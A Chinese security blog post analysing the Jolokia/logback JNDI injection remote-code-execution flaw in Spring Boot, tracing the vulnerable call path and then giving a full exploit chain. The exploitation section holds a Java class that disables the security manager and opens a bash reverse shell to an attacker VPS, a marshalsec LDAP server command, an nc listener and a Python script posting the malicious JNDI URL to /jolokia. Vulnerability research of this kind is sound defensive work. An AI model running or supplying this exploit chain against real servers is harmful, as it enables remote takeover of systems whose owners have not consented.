点击关注公众号,知识干货及时送达👇
01
引言
introduction
Jolokia是一款开源产品,用于为JMX(Java Management Extensions)技术提供HTTP API接口。其中,该产品提供了一个API,用于调用在服务器上注册的MBean并读/写其属性。JMX技术用于管理和监视设备、应用程序和网络驱动的服务。
02
漏洞分析
Vulnerability analysis
Jolokia服务提供了一个代理模式,对于1.5.0之前的版本来说,默认情况下该模式含有一个JNDI注入漏洞。当Jolokia以代理模式进行部署时,可以访问Jolokia Web端点的外部攻击者能够利用JNDI注入攻击远程执行任意代码。这种注入攻击之所以能够得手,是因为Jolokia库使用用户提供的输入来启动LDAP/RMI连接。
在BlackHat USA 2016大会上,HP Enterprise就解释过JNDI攻击,同时,他们还展示了一些将JNDI攻击转换为远程执行代码的方法。
当第三方系统在代理模式下使用Jolokia服务的时候,该系统可以通过Jolokia端点执行远程代码。虽然端点被视为Jolokia的一个组件,但是Jolokia并没有为这个端点提供任何认证机制来保护服务器免受任意攻击者的攻击——尽管其官方文档强烈推荐提供认证机制。
分析步骤
在springframework包下的JolokiaMvcEndpoint类中,继承了父类的有参构造,只要节点为jolokia的请求都会经过handler方法
在JmxRequestFactory#createGetRequest方法中使用Stack<String> elements = EscapeUtil.extractElementsFromPath(pathInfo)
通过"/"对路径进行解析。使用!/ 保留/
在JMXConfigurator#reloadByURL方法使用JoranConfigurator对象进行配置加载
跟进这个方法,将资源内容输入到流控制器给到in变量,再去调用 doConfigure方法
在doConfigure方法,构建了一个输入流对象接着获取systemId。再去调用doConfigure方法
跟进doConfigure方法,在recorder.recordEvents中去解析xml文件
解析xml文件
解析完xml文件内容之后,再一次调用了doConfigure方法
又去调用了一个play方法
在play方法中对xml文件内容进行了遍历,第二遍遍历到了ldap
跟进startElement方法,发现又调用了startElement方法。其调用了callBeginAction方法
跟进callBeginAction方法,调用begin方法
跟进begin方法,使用ec.subst解析xml文件内容获取值,直接跳到第三个循环中。可以看到调用了JNDIUtil.lookup方法访问恶意的ldap服务
03
漏洞利用
Exploits
1. 编译java利用代码,将其命名为Exploit.java,然后编译生成class文件:javac Exploit.java
public class Exploit {
public Exploit() {
try {
System.setSecurityManager(null);
java.lang.Runtime.getRuntime().exec("sh -c $@|sh . echo `bash -i >& /dev/tcp/VPS地址/8888 0>&1`");
} catch(Exception e) {
e.printStackTrace();
}
}
}
2. 在Exploit.java目录下开启一个web服务
python3 -m http.server 80
3. 运行LDAP服务器在1389端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS地址/#Exploit 1389
工具下载地址:
https://github.com/RandomRobbieBF/marshalsec-jar
4. nc开启监听
nc -lvp 7777
5. 执行exp
import requests
#url = 'http://x.x.x.x/jolokia/..;/jolokia/'
url = 'http://x.x.x.x/jolokia'
headers = {
"Accept": "application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*",
"User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
"Content-Type": "application/x-www-form-urlencoded",
}
data = '''{
"type" : "read",
"mbean" : "java.lang:type=Memory",
"target" : {
"url" : "service:jmx:rmi:///jndi/ldap://VPS地址:1389/Exploit"
}
}'''
result = requests.post(url, headers=headers, data=data, timeout=5)
04
小结
Summary
一开始调试代码可能会看不懂,感觉有太多的干扰代码了,其实那些干扰代码不用去看也行的,看那些漏洞关键点的代码理清大概流程和逻辑。在寻找安全漏洞的时候,强烈建议首先阅读相关文档!有时这一招非常管用。对于Jolokia用户来说,我们建议将该软件更新至1.5.0版本。
END
点击下方名片,关注我们
原文始发于微信公众号(承影安全团队):【漏洞分析】spring-boot 漏洞分析之jolokia logback JNDI RCE
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论